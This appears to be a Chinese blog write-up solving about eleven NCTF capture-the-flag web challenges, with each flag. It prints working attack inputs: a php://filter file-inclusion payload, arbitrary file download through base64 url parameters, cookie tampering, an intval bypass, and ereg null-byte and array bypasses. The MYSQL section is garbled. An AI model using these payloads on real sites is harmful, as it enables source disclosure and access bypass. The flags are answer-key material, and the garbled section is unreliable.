0x00 本周做了NCTF的几道题,分享一下wp。
原题链接
1 层层递进 脑洞题:
一开始没思路,后来F12找线索,然后发现了几个比较可疑的文件,发现一个404.html,打开试了一下。
查看源代码,发现有段js被注释了,仔细看看这段js代码。一眼就看出了flag。
nctf{this_is_a_fl4g}
2 AAencode 明显是编码,还做过类似的。console解释即可。
nctf{javascript_aaencode}
3 单身二十年
真信了,点进去没有,返回查看源码,看到了,php的地址,进入可以看到flag。
nctf{yougotit_script_now}
4 你从哪里来
are you from google?明显让我们构造一个来自谷歌的地址,想到http请求的Referer字段,记录从哪个网址进入当前网址。
但是并没有出来flag。网上搜了一下,一样的做法,比较懵。。。
5 php decode
利用php解码,只要把eval函数换成echo,即可。
得到flag:nctf{gzip_base64_hhhhhh}
6 文件包含 让我点,就点进去了。出来了这个url:
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
很明显有文件包含在里面。一开始以为会把flag放在其他文件,文件包含来读。但是因为不知道flag包含在哪个文件,摸黑试了几个,但是没用,于是放弃了这个方法。
了解了新的姿势 可以构造php://filter 语句过滤,可以得到index.php的源码(base64加密
)。
file=php://filter/read=convert.base64-encode/resource=index.php
解密得到源码,然后就得到flag了。
asdf - 锐客网
7 单身二十年也没用 在消息头,没意思。
得到flag: nctf{this_is_302_redirect}
8 Download 【寒假第三周CTFwp】
查看源码:
发现下载链接的url:
download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=
于是想下载download.php看看。
?url=ZG93bmxvYWQucGhw
http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw
看到源码,^_^
又看到一个文件:hereiskey.php ,估计flag就在这里面。
?url=aGVyZWlza2V5LnBocA==
http://way.nuptzj.cn/web6/download.php?url=aGVyZWlza2V5LnBocA==
得到flag:nctf{download_any_file_666}
9 cookie 提示0 == no
那么1 == yes
容易想到修改cookie字段Login的值为Login=1;
得到flag。
flag:nctf{cookie_is_different_from_session}
10 MYSQL
写过爬虫的都知道robots协议,百科传送门
";
}
else{
echo($query[content]);
}
}
?>
很明显输入一个id值,由于GET方法,直接在url中输入即可,
id!=1024,
但是where id =’ id′,怀疑i d ′ , 怀 疑 id=intval($_GET[id])==1024,
于是试了一下?id=1024.5,过了。
chinalover.sinaapp.com/web11/sql.php?id=1024.5
the flag is:nctf{query_in_mysql}
11 /x00 源码:
if (isset ($_GET['nctf'])) {
if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
echo '必须输入数字才行';
else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);
else
echo '骚年,继续努力吧啊~';
}
变量nctf 要是数字而且要包含#biubiubiu,很神奇吧,怎么可能呢。。。
其实提示说了,/x00,想到用/x00截断,那么原理是什么呢?
这里ereg有两个漏洞
1. %00截断及遇到%00则默认为字符串的结束
2. 当nctf为数组时它的返回值不是FALSE
所以有两个方法去攻这道题目
1. 令nctf=123%00#biubiubiu
2. 令nctf为数组则,nctf[]=111
附加:
=== 格式也等所以,这道题的解法就出来了:
!== (0!==false 为true)
1. ?nctf=123%00%23biubiubiu
2. ?nctf[]=12
flag:nctf{use_00_to_jieduan}